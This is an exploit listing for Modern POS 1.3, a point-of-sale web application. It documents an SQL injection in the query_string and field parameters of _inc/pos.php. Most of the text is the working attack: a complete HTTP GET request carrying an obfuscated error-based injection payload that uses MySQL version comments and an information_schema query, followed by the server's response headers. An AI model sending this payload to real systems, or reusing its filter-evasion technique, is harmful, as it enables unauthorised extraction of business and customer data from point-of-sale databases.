Modern POS 1.3 - SQL Injection

# Exploit Title: Modern POS 1.3 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://itsolution24.com/
# Software Link: https://codecanyon.net/item/modern-pos-point-of-sale-with-stock-management-system/22702683
# Version: 1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/_inc/pos.php?query_string=[SQL]&category_id=&field=[SQL]&action_type=PRODUCTLIST
# 

GET /[PATH]/_inc/pos.php?query_string=Efe%27||(/*!11111SElecT*/+%27Efe%27+/*!11111FRom*/+/*!11111DuAl*/+/*!11111whERE*/+6=6+/*!11111anD*/+(/*!11111SEleCT*/+6+/*!11111FRoM*/(/*!11111SELECT*/+COuNT(*),/*!11111CONCAT*/(@@verSion,(/*!11111seleCT*/+(ELT(6=6,1))),/*!11111FLoOR*/(RAnD(0)*2))x+/*!11111FRoM*/+/*!12345InFOrMaTION_SchEmA.plUgINS*/+/*!11111grOUP*/+/*!11111by*/+x)a))||%27&action_type=PRODUCTLIST HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=074b581c124d1caf5df3477995946ea8; cpsession=%3aRoGDGcVEun7oqKs9%2c4760d80be71792470b1f6ebfd8f4c0a5; timezone=Asia/Baghdad
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 422 Unprocessable Entity
Date: Sat, 12 Jan 2019 23:25:05 GMT
Server: Apache
X-Powered-By: PHP/7.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8